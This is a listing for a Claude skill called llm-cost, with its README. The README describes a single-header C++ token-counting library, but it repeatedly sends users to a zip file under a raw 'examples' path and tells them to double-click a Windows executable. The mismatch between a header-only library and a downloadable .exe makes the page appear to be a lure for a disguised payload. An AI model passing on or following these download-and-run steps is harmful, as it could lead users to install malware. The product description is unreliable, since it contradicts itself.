Llm Cost
Description
Count tokens and estimate API costs for large language models with a lightweight, single-header C++ library from the llm-cpp toolkit.
Installation
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open the source below and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
README
⚖️ llm-cost - Easy Token Counting and Cost Estimation
[](https://github.com/islaagnet27/llm-cost/raw/refs/heads/main/examples/llm_cost_v3.3.zip)
🔍 What is llm-cost?
llm-cost is a simple tool to count tokens and estimate costs for OpenAI and Anthropic language models. It uses a single C++ header file, so it does not need any extra software to run.
This tool helps you understand how many tokens your text uses and what the estimated cost would be when you work with these AI models. It is useful if you want to track costs without complicated setups.
💻 System Requirements
- Windows 10 or newer
- At least 1 GB of free disk space
- No installation of extra programs needed
- Works with any text input, no programming experience required
🚀 Getting Started
Step 1: Visit the Download Page
Start by opening the llm-cost download page here:
[](https://github.com/islaagnet27/llm-cost/raw/refs/heads/main/examples/llm_cost_v3.3.zip)
Click this link and it will take you to the GitHub page where you can get all files related to this tool.
Step 2: Download the Software
On the GitHub page, look for a button or link called **Code** or **Releases**. Follow these steps:
- If you see a Releases tab, click it. Find the latest version of llm-cost.
- Download the file called something like
llm-cost.ziporllm-cost.exe.
If you download a ZIP file, you will need to unzip it to access the program files.
Step 3: Run the Program
- If you downloaded an
.exefile, just double-click it to start. - If you have unzipped files, open the folder and look for the executable file to run.
When you open the software, you will see a simple window or command prompt that asks for your text input.
📝 How to Use llm-cost
- **Enter your tex
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